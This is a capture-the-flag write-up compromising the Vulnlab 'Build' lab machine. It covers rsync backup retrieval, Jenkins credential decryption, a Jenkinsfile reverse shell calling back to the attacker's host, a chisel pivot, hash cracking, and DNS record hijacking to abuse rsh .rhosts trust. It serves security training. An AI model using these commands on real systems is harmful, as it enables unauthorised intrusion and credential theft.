Build is an easy difficulty machine on Vulnlab created by xct.

Note: In some commands $T is a variable I set to the IP address of the box for convenience.

nmap

└─$ sudo nmap $T -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-10 02:54 CEST
Nmap scan report for 10.10.110.113
Host is up (0.018s latency).
Not shown: 65526 closed tcp ports (reset)
PORT     STATE    SERVICE
22/tcp   open     ssh
53/tcp   open     domain
512/tcp  open     exec
513/tcp  open     login
514/tcp  open     shell
873/tcp  open     rsync
3000/tcp open     ppp
3306/tcp filtered mysql
8081/tcp filtered blackice-icecap

Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds
└─$ sudo nmap $T -p22,53,512,513,514,873,3000,3306,8081 -sC -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-10 02:55 CEST
Nmap scan report for 10.10.110.113
Host is up (0.016s latency).

PORT     STATE    SERVICE         VERSION
22/tcp   open     ssh             OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 47:21:73:e2:6b:96:cd:f9:13:11:af:40:c8:4d:d6:7f (ECDSA)
|_  256 2b:5e:ba:f3:72:d3:b3:09:df:25:41:29:09:f4:7b:f5 (ED25519)
53/tcp   open     domain          PowerDNS
| dns-nsid:
|   NSID: pdns (70646e73)
|_  id.server: pdns
512/tcp  open     exec            netkit-rsh rexecd
513/tcp  open     login?
514/tcp  open     shell           Netkit rshd
873/tcp  open     rsync           (protocol version 31)
3000/tcp open     ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=a0285e2f06743226; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=6Xp_2QkM_cqQHknI0013-qqdVgs6MTcxNTMwMjU1MzUwNjU0MTkyOQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 10 May 2024 00:55:53 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Gitea: Git with a cup of tea</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2J1aWxkLnZsOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9idWlsZC52bDozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=ae55eb9bb2f0a015; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=v_dd3F7k2GXRYdJ_K_4kw4-rXvA6MTcxNTMwMjU1ODYyMjA5ODUzOQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 10 May 2024 00:55:58 GMT
|_    Content-Length: 0
3306/tcp filtered mysql
8081/tcp filtered blackice-icecap
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=5/10%Time=663D7096%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,14C8,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
SF:ea=a0285e2f06743226;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
SF:kie:\x20_csrf=6Xp_2QkM_cqQHknI0013-qqdVgs6MTcxNTMwMjU1MzUwNjU0MTkyOQ;\x
SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Fri,\x2010\x20May\x202024\x2000:55:53\x
SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"the
SF:me-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<title>Gitea:\x20Git\x20with\x20a\x
SF:20cup\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"data:
SF:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHR
SF:lYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3Rhcn
SF:RfdXJsIjoiaHR0cDovL2J1aWxkLnZsOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6L
SF:y9idWlsZC52bDozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5n
SF:Iiwic2l6ZXMiOiI1MTJ")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Me
SF:thod\x20Not\x20Allowed\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Cont
SF:rol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nS
SF:et-Cookie:\x20i_like_gitea=ae55eb9bb2f0a015;\x20Path=/;\x20HttpOnly;\x2
SF:0SameSite=Lax\r\nSet-Cookie:\x20_csrf=v_dd3F7k2GXRYdJ_K_4kw4-rXvA6MTcxN
SF:TMwMjU1ODYyMjA5ODUzOQ;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20Sam
SF:eSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Fri,\x2010\x20M
SF:ay\x202024\x2000:55:58\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPR
SF:equest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.72 seconds

Aside from the usual SSH service at port 22 there are a lot of interesting ports.

First there’s a DNS server at port 53 using PowerDNS.

For port 512 to 514, this Wikipedia page gives a good overview. They belong to rexec(port 512), rlogin (port 513) and rsh (port 514), an old suite of programs allowing remote alogin and command execution before modern SSH existed. They are considered insecure now and have been largely replaced by SSH.

There’s a rsync server at port 873 which is for synchronizing directories and files between computers.

A Gitea instance is running on port 3000. It’s like self-hosted GitHub.

Finally port 3306 and port 8081 are filtered, which means they are likely listening internally but not reachable from the outside. I’ll make sure to check them if I can get shell access to the target. Port 3306 is the default port for MySQL.

Initial recon (port 512-514)

HackTricks has articles on rexec, rlogin and rsh.

These commands are not installed by default on my updated Kali and it seems I need to install the rsh-client package. However it was not available when I tried to install from apt and after searching through the packages it seems to have been replaced by rsh-redone-client for the default Kali repository:

└─$ sudo apt list rsh*   
Listing... Done
rsh-redone-client/kali-rolling,now 85-4 amd64 [installed]
rsh-redone-client/kali-rolling 85-4 i386
rsh-redone-server/kali-rolling 85-4 amd64
rsh-redone-server/kali-rolling 85-4 i386

I could then install it:

└─$ sudo apt install rsh-redone-client

Another alternative that I found from a forum thread is to grab the package from the Debian repository here and install it manually.

└─$ curl -sO http://http.us.debian.org/debian/pool/main/n/netkit-rsh/rsh-client_0.17-24_amd64.deb && sudo dpkg -i rsh-client_0.17-24_amd64.deb

I then tried to login to the target but it asked for a password. Guessing some users and passwords didn’t work.

└─$ rlogin root@$T                 
Password: 
└─$ rsh root@$T       
Password: 

Gitea (unauthenticated)

http://10.10.111.70:3000/

alt text

There’s one user, buildadm.

http://10.10.111.70:3000/explore/users

alt text

There’s a publicly readable repository, buildadm/dev.

http://10.10.111.70:3000/explore/repos

alt text

The repository contains only one file, Jenkinsfile.

http://10.10.111.70:3000/buildadm/dev

alt text

It defines a Jenkins pipeline that does nothing.

pipeline {
    agent any

    stages {
        stage('Do nothing') {
            steps {
                sh '/bin/true'
            }
        }
    }
}

This indicates the target is using Jenkins, an automation server for CI/CD. We didn’t find any externally accessible Jenkins web interface so it’s likely deployed internally.

There’s a nice article on HackTricks Cloud that explains the basics of Jenkins and its security, as well as this GitHub repository.

The section about pipeline exploitation is interesting for us:

alt text

alt text

This implies that we could try to edit the Jenkinsfile to include a reverse shell and push to the repository to trigger the pipeline and get a shell on the Jenkins server. However as an unauthenticated user this repository is read-only. I’ll make sure to try this attack if I get credentials to login to Gitea.

rsync

Let’s see if we can read some shares without credentials.

└─$ rsync -av --list-only rsync://$T        
backups         backups
└─$ rsync -av --list-only rsync://$T/backups
receiving incremental file list
drwxr-xr-x          4,096 2024/05/02 15:26:31 .
-rw-r--r--    376,289,280 2024/05/02 15:26:19 jenkins.tar.gz

sent 24 bytes  received 82 bytes  212.00 bytes/sec
total size is 376,289,280  speedup is 3,549,898.87

There’s a backups share with a file, jenkins.tar.gz. Let’s fetch it. The file is 359MB so it will take some time.

└─$ rsync -av rsync://$T/backups ./backups
receiving incremental file list
created directory ./backups
./
jenkins.tar.gz

sent 50 bytes  received 376,381,276 bytes  6,781,645.51 bytes/sec
total size is 376,289,280  speedup is 1.00

After extracting it seems to be a backup of all the Jenkins configuration and data.

└─$ tar -xf jenkins.tar.gz && rm jenkins.tar.gz
└─$ ls -a jenkins_configuration
.                                                                           jenkins.model.JenkinsLocationConfiguration.xml
..                                                                          jenkins.security.ResourceDomainConfiguration.xml
caches                                                                      jenkins.tasks.filters.EnvVarsFilterGlobalConfiguration.xml
com.cloudbees.hudson.plugins.folder.config.AbstractFolderConfiguration.xml  jenkins.telemetry.Correlator.xml
.config                                                                     jobs
config.xml                                                                  .lastStarted
copy_reference_file.log                                                     logs
fingerprints                                                                nodeMonitors.xml
.groovy                                                                     nodes
hudson.model.UpdateCenter.xml                                               org.jenkinsci.plugin.gitea.servers.GiteaServers.xml
hudson.plugins.build_timeout.global.GlobalTimeOutConfiguration.xml          org.jenkinsci.plugins.displayurlapi.DefaultDisplayURLProviderGlobalConfiguration.xml
hudson.plugins.build_timeout.operations.BuildStepOperation.xml              org.jenkinsci.plugins.workflow.flow.FlowExecutionList.xml
hudson.plugins.git.GitSCM.xml                                               org.jenkinsci.plugins.workflow.flow.GlobalDefaultFlowDurabilityLevel.xml
hudson.plugins.git.GitTool.xml                                              org.jenkinsci.plugins.workflow.libs.GlobalLibraries.xml
hudson.plugins.timestamper.TimestamperConfig.xml                            .owner
hudson.tasks.Mailer.xml                                                     plugins
hudson.tasks.Shell.xml                                                      queue.xml.bak
hudson.triggers.SCMTrigger.xml                                              secret.key
identity.key.enc                                                            secret.key.not-so-secret
io.jenkins.plugins.junit.storage.JunitTestResultStorageConfiguration.xml    secrets
.java                                                                       updates
jenkins.fingerprints.GlobalFingerprintConfiguration.xml                     userContent
jenkins.install.InstallUtil.lastExecVersion                                 users
jenkins.install.UpgradeWizard.state                                         war
jenkins.model.ArtifactManagerConfiguration.xml                              workspace
jenkins.model.GlobalBuildDiscarderConfiguration.xml

Dumping Jenkins secrets

This section on HackTricks explains how we can dump all the credentials and secrets from Jenkins having access to the server files.

We find one encrypted password:

└─$ grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
jenkins_configuration/jobs/build/config.xml:              <password>{AQAAABAAAA<REDACTED>FEMRLZ9v0=}</password>

It’s for the user buildadm, the same username we found on Gitea:

└─$ cat jenkins_configuration/jobs/build/config.xml
...
    <com.cloudbees.hudson.plugins.folder.properties.FolderCredentialsProvider_-FolderCredentialsProperty plugin="cloudbees-folder@6.901.vb_4c7a_da_75da_3">
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
        <entry>
          <com.cloudbees.plugins.credentials.domains.Domain plugin="credentials@1337.v60b_d7b_c7b_c9f">
            <specifications/>
          </com.cloudbees.plugins.credentials.domains.Domain>
          <java.util.concurrent.CopyOnWriteArrayList>
            <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl plugin="credentials@1337.v60b_d7b_c7b_c9f">
              <id>e4048737-7acd-46fd-86ef-a3db45683d4f</id>
              <description></description>
              <username>buildadm</username>
              <password>{AQAAABAAAA<REDACTED>FEMRLZ9v0=}</password>
              <usernameSecret>false</usernameSecret>
            </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
          </java.util.concurrent.CopyOnWriteArrayList>
        </entry>
      </domainCredentialsMap>
    </com.cloudbees.hudson.plugins.folder.properties.FolderCredentialsProvider_-FolderCredentialsProperty>
...

Now we can use this script to decrypt it:

└─$ wget https://raw.githubusercontent.com/gquere/pwn_jenkins/master/offline_decryption/jenkins_offline_decrypt.py
└─$ python3 jenkins_offline_decrypt.py jenkins_configuration/secrets/master.key jenkins_configuration/secrets/hudson.util.Secret jenkins_configuration/jobs/build/config.xml 
<REDACTED>

We get the plaintext password for the user buildadm.

We can also get info on the users in Jenkins. There’s only one user, admin:

└─$ cat jenkins_configuration/users/users.xml                                                             
<?xml version='1.1' encoding='UTF-8'?>
<hudson.model.UserIdMapper>
  <version>1</version>
  <idToDirectoryNameMap class="concurrent-hash-map">
    <entry>
      <string>admin</string>
      <string>admin_8569439066427679502</string>
    </entry>
  </idToDirectoryNameMap>
</hudson.model.UserIdMapper>
└─$ cat jenkins_configuration/users/admin_8569439066427679502/config.xml | grep -i 'fullname\|pass\|email'
  <fullName>admin</fullName>
      <passwordHash>#jbcrypt:$2a$10$PaX<REDACTED></passwordHash>
      <emailAddress>admin@build.vl</emailAddress>

I couldn’t crack the password hash. However we get an email: admin@build.vl. We can add the build.vl domain to /etc/hosts.

└─$ echo "$T build.vl" | sudo tee -a /etc/hosts                        
10.10.110.113 build.vl

Gitea (as buildadm)

We can login to Gitea as buildadm with the password we just decrypted.

http://build.vl:3000/user/login

alt text

Since we are the owner we now have full access to the buildadm/dev repository.

http://build.vl:3000/buildadm/dev

We can now try to perform the attack mentioned earlier by editing the Jenkinsfile. But first we can check if the Jenkins instance is indeed listening for changes in the repository by navigating to Settings → Webhooks.

http://build.vl:3000/buildadm/dev/settings/hooks

alt text

http://build.vl:3000/buildadm/dev/settings/hooks/1

alt text

There’s a webhook that triggers on push events and makes a POST request to http://172.18.0.3:8080/gitea-webhook/post. The 172.18.0.0/16 is a private address range used for example by Docker networks, so it’s possible that the Jenkins instance is running on a Docker container with IP address 172.18.0.3. We’ll confirm this later after we get a reverse shell.

Now we can edit the Jenkinsfile directly from the Gitea web interface at http://build.vl:3000/buildadm/dev/_edit/main/Jenkinsfile and add a reverse shell to it:

pipeline {
    agent any

    stages {
        stage('Pwned') {
            steps {
                sh '''
                    bash -c 'bash -i >& /dev/tcp/10.8.1.246/1337 0>&1'
                '''
            }
        }
    }
}

After starting a nc listener and clicking on Commit Changes, we get a shell after a minute or two:

└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.8.1.246] from (UNKNOWN) [10.10.70.114] 39568
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
root@5ac6c7d6fb8e:/var/jenkins_home/workspace/build_dev_main# 

Then we can upgrade and stabilize the shell with these steps.

We find the user flag under /root:

root@5ac6c7d6fb8e:/var/jenkins_home/workspace/build_dev_main# cd /root
root@5ac6c7d6fb8e:~# ls -la
total 20
drwxr-xr-x 3 root root 4096 May  2 09:43 .
drwxr-xr-x 1 root root 4096 May  9 18:50 ..
lrwxrwxrwx 1 root root    9 May  1 14:37 .bash_history -> /dev/null
-r-------- 1 root root   35 May  1 17:37 .rhosts
drwxr-xr-x 2 root root 4096 May  1 16:05 .ssh
-rw------- 1 root root   37 May  1 14:29 user.txt
root@5ac6c7d6fb8e:~# cat user.txt
VL{<REDACTED>}

The .ssh folder contains a private key but I couldn’t use it to login to the host. The .rhosts file will be important later.

Pivoting from the Jenkins container

The random hex hostname and the presence of the /.dockerenv file confirms that we are inside a Docker container.

root@5ac6c7d6fb8e:~# ls -a /
.  ..  .dockerenv  bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

Given the use of Docker networking we can try to enumerate the network further to see if we can reach other containers or the host (the target machine itself running Docker). We already know that our current IP address is 172.18.0.3. Since it’s a Docker container many commands like ip are not installed, but we can read the information directly from /proc/net.

Here’s the routing table:

root@5ac6c7d6fb8e:~# cat /proc/net/route
Iface   Destination     Gateway         Flags   RefCnt  Use     Metric  Mask            MTU     Window  IRTT                                                       
eth0    00000000        010012AC        0003    0       0       0       00000000        0       0       0                                                                               
eth0    000012AC        00000000        0001    0       0       0       0000FFFF        0       0       0

This blog post explains that the addresses are in little-endian and hex. By converting we find out that the default gateway is 172.18.0.1 and that the subnet used is 172.18.0.0/16. We can deduce that 172.18.0.1 is the Docker host and that the containers have IP addresses starting from 172.18.0.2.

In the nmap scan we found that port 3306 and 8081 were filtered, but we may be able to reach them now that we’re inside the internal Docker subnet. Let’s check:

root@5ac6c7d6fb8e:~# cat < /dev/tcp/172.18.0.1/3306
i
11.3.2-MariaDB-1:11.3.2+maria~ubu2204?qNsy&M4Z-I><Re'2by\=^mysql_native_password^Z
[3]+  Stopped                 cat < /dev/tcp/172.18.0.1/3306
root@5ac6c7d6fb8e:~# curl http://172.18.0.1:8081 -I
HTTP/1.1 401 Unauthorized
Transfer-Encoding: chunked
Connection: close
Content-Type: text/plain; charset=utf-8
Www-Authenticate: Basic realm="PowerDNS"

We can indeed reach them now. There’s the PowerDNS webserver listening on port 8081 protected with basic auth but we’ll not end up using it to solve the box. However the MariaDB listening on port 3306 is interesting and to be able to use tools and reach it from Kali I’ll use chisel to setup a SOCKS proxy.

We can get the latest linux_amd64 binary from Releases and transfer it to the Jenkins container:

└─$ python3 -m uploadserver 80
File upload available at /upload
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.70.114 - - [10/May/2024 20:24:54] "GET /chisel HTTP/1.1" 200 -
root@5ac6c7d6fb8e:~# curl http://10.8.1.246/chisel -sO
root@5ac6c7d6fb8e:~# chmod +x chisel

Then setup the SOCKS proxy:

└─$ ./chisel server --reverse --port 54321
2024/05/10 20:26:24 server: Reverse tunnelling enabled
2024/05/10 20:26:24 server: Fingerprint BN1Cwtq8UN7diBlk7ATLnIfRGIHB1gGthlCdXLloUJ8=
2024/05/10 20:26:24 server: Listening on http://0.0.0.0:54321
2024/05/10 20:27:32 server: session#1: tun: proxy#R:127.0.0.1:9050=>socks: Listening
root@5ac6c7d6fb8e:~# ./chisel client 10.8.1.246:54321 R:9050:socks &
[2] 3271
root@5ac6c7d6fb8e:~# 2024/05/10 18:27:34 client: Connecting to ws://10.8.1.246:54321
2024/05/10 18:27:35 client: Connected (Latency 20.801339ms)

I added a line to /etc/proxychains4.conf to be able to use proxychains:

socks5 127.0.0.1 9050

I could then reach the Docker subnet from Kali including the host:

└─$ proxychains -q nmap 172.18.0.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-10 20:41 CEST
Nmap scan report for 172.18.0.1
Host is up (0.053s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
873/tcp  open  rsync
3000/tcp open  ppp
3306/tcp open  mysql
8081/tcp open  blackice-icecap

Nmap done: 1 IP address (1 host up) scanned in 51.93 seconds

PowerDNS

Trying to login to MariaDB as root without a password works:

└─$ proxychains -q mysql -h 172.18.0.1 -u root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 63
Server version: 11.3.2-MariaDB-1:11.3.2+maria~ubu2204 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 

There’s a non-default database, powerdnsadmin used by PowerDNS:

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| powerdnsadmin      |
| sys                |
+--------------------+
5 rows in set (0.017 sec)
MariaDB [(none)]> use powerdnsadmin;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [powerdnsadmin]> show tables;
+-------------------------+
| Tables_in_powerdnsadmin |
+-------------------------+
| account                 |
| account_user            |
| alembic_version         |
| apikey                  |
| apikey_account          |
| comments                |
| cryptokeys              |
| domain                  |
| domain_apikey           |
| domain_setting          |
| domain_template         |
| domain_template_record  |
| domain_user             |
| domainmetadata          |
| domains                 |
| history                 |
| records                 |
| role                    |
| sessions                |
| setting                 |
| supermasters            |
| tsigkeys                |
| user                    |
+-------------------------+
23 rows in set (0.017 sec)

We can read all the DNS records:

MariaDB [powerdnsadmin]> select * from records;
+----+-----------+----------------------+------+------------------------------------------------------------------------------------------+------+------+----------+-----------+------+
| id | domain_id | name                 | type | content                                                                                  | ttl  | prio | disabled | ordername | auth |
+----+-----------+----------------------+------+------------------------------------------------------------------------------------------+------+------+----------+-----------+------+
|  8 |         1 | db.build.vl          | A    | 172.18.0.4                                                                               |   60 |    0 |        0 | NULL      |    1 |
|  9 |         1 | gitea.build.vl       | A    | 172.18.0.2                                                                               |   60 |    0 |        0 | NULL      |    1 |
| 10 |         1 | intern.build.vl      | A    | 172.18.0.1                                                                               |   60 |    0 |        0 | NULL      |    1 |
| 11 |         1 | jenkins.build.vl     | A    | 172.18.0.3                                                                               |   60 |    0 |        0 | NULL      |    1 |
| 12 |         1 | pdns-worker.build.vl | A    | 172.18.0.5                                                                               |   60 |    0 |        0 | NULL      |    1 |
| 13 |         1 | pdns.build.vl        | A    | 172.18.0.6                                                                               |   60 |    0 |        0 | NULL      |    1 |
| 14 |         1 | build.vl             | SOA  | a.misconfigured.dns.server.invalid hostmaster.build.vl 2024050201 10800 3600 604800 3600 | 1500 |    0 |        0 | NULL      |    1 |
+----+-----------+----------------------+------+------------------------------------------------------------------------------------------+------+------+----------+-----------+------+
7 rows in set (0.019 sec)

The 172.18.0.0/16 Docker network has hosts from 172.18.0.1 to 172.18.0.6.

intern.build.vl is the host, gitea.build.vl is the Gitea container and jenkins.build.vl is the Jenkins container on which we got a reverse shell.

We can port scan db.build.vl, pdns-worker.build.vl and pdns.build.vl to confirm what they are:

└─$ proxychains -q nmap 172.18.0.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-10 20:45 CEST
Nmap scan report for 172.18.0.4
Host is up (0.052s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT     STATE SERVICE
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 53.75 seconds

This is the container with the MariaDB instance we just got into, the port 3306 is forwarded to the host so that’s why we can reach it both at 172.18.0.1 and 172.18.0.4.

└─$ proxychains -q nmap 172.18.0.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-10 20:46 CEST
Nmap scan report for 172.18.0.5
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE
53/tcp   open  domain
8081/tcp open  blackice-icecap

Nmap done: 1 IP address (1 host up) scanned in 53.28 seconds

This is the PowerDNS container with the DNS service and the webserver, both port forwarded to the host.

└─$ proxychains -q nmap 172.18.0.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-10 20:47 CEST
Nmap scan report for 172.18.0.6
Host is up (0.052s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 52.86 seconds

This one is interesting since we didn’t find any port 80 in our nmap scan. I browsed to it on Firefox after configuring FoxyProxy so that it uses the SOCKS proxy at port 9050.

http://172.18.0.6/login

alt text

It’s a web interface for administering PowerDNS, which is different from the built-in webserver on port 8081 we saw previously.

In the database there’s a hash for the user admin:

MariaDB [powerdnsadmin]> select username,password,email from user;
+----------+--------------------------------------------------------------+----------------+
| username | password                                                     | email          |
+----------+--------------------------------------------------------------+----------------+
| admin    | $2b$12$s1hK0o7YNkJGfu5poWx<REDACTED>                         | admin@build.vl |
+----------+--------------------------------------------------------------+----------------+
1 row in set (0.016 sec)

It cracks with rockyou.txt and hashcat mode 3200 after a short time:

└─$ hashcat -a0 -m3200 '$2b$12$s1hK0o7YNkJGfu5poWx<REDACTED>' /usr/share/wordlists/rockyou.txt
...
$2b$12$s1hK0o7YNkJGfu5poWx<REDACTED>:<REDACTED>

We can then login to the web interface with the cracked password as admin and fully administer the DNS server:

http://172.18.0.6/dashboard/

alt text

We can edit the DNS records from the web interface, for example:

http://172.18.0.6/domain/build.vl

alt text

However we have yet to find a way to abuse this.

.rhosts

The /root/.rhosts we found on the Jenkins container has two lines:

admin.build.vl +
intern.build.vl +

Searching on the Internet we can find a lot of documentation that explains the purpose and syntax of the .rhosts file, like this one.

alt text

alt text

It’s a configuration file for the rlogin and rsh services we inspected at the beginning. By port scanning 172.18.0.1 through 172.18.0.6 we will notice that the ports 512 to 514 are only open on 172.18.0.1, which means that these services are likely only installed directly on the host and not inside a Docker container (just like the SSH service). So why did we find it inside the Jenkins container?

root@5ac6c7d6fb8e:~# findmnt
TARGET                  SOURCE                                                FSTYPE  OPTIONS
...
├─/root                 /dev/mapper/ubuntu--vg-ubuntu--lv[/root/scripts/root] ext4    rw,relatime

The /root/scripts/root directory on the host is mounted to /root on the Jenkins container, so at this point I assumed that the same .rhosts file may be present on the host too under /root, which turned out to be true. It’s possible that it was mistakenly mounted to the Jenkins container or that the admin wanted to configure remote access to the Jenkins container too at some point.

The .rhosts entries indicate that remote clients originating from admin.build.vl and intern.build.vl are allowed to login as any user on the server (including root). The authentication procedure likely resolves the trusted domains to IP addresses using the PowerDNS server and check if the connection request comes from them.

Since the admin.build.vl record doesn’t exist in the PowerDNS database and intern.build.vl resolves to 172.18.0.1, it means that passwordless logins are only allowed from 172.18.0.1, which is the host itself.

However, since we can edit the DNS records, we can try to either add a DNS record for admin.build.vl or modify the record for intern.build.vl and point it to the IP address of our attack machine, and maybe we would be able to login using rlogin or rsh this time because the server would consider our IP address trusted!

DNS hijacking

Let’s add a record for admin.build.vl pointing to our attack machine’s IP address from the PowerDNS admin portal.

http://172.18.0.6/domain/build.vl

alt text

Click on Save, then Save Changes and Apply Changes.

We can confirm that the record was correctly added using dig:

└─$ dig admin.build.vl @$T                      

; <<>> DiG 9.19.21-1-Debian <<>> admin.build.vl @10.10.83.17
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59679
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;admin.build.vl.            IN  A

;; ANSWER SECTION:
admin.build.vl.     60  IN  A   10.8.1.246

;; Query time: 20 msec
;; SERVER: 10.10.83.17#53(10.10.83.17) (UDP)
;; WHEN: Sat May 11 22:51:50 CEST 2024
;; MSG SIZE  rcvd: 59

Now we can use either rlogin or rsh to login as root on the target without a password!

└─$ rsh root@build.vl               
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-105-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Sat May 11 08:53:05 PM UTC 2024

  System load:  0.189453125       Users logged in:                  0
  Usage of /:   62.6% of 9.75GB   IPv4 address for br-f8002c9d7234: 172.18.0.1
  Memory usage: 58%               IPv4 address for docker0:         172.17.0.1
  Swap usage:   0%                IPv4 address for ens5:            10.10.83.17
  Processes:    141


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@build:~# 

We can get the root flag.

root@build:~# ls
root.txt  scripts  snap
root@build:~# cat root.txt
VL{<REDACTED>}

Note that it’s also possible the add the record from the MariaDB shell directly, bypassing the need to crack the admin’s hash and adding it from the web interface:

MariaDB [powerdnsadmin]> INSERT INTO `records` (`domain_id`,`name`,`type`,`content`,`ttl`,`prio`,`disabled`,`ordername`,`auth`) VALUES (1,'admin.build.vl','A','10.8.1.246',60,0,0,NULL,1);
Query OK, 1 row affected (0.027 sec)

Categories:

Updated: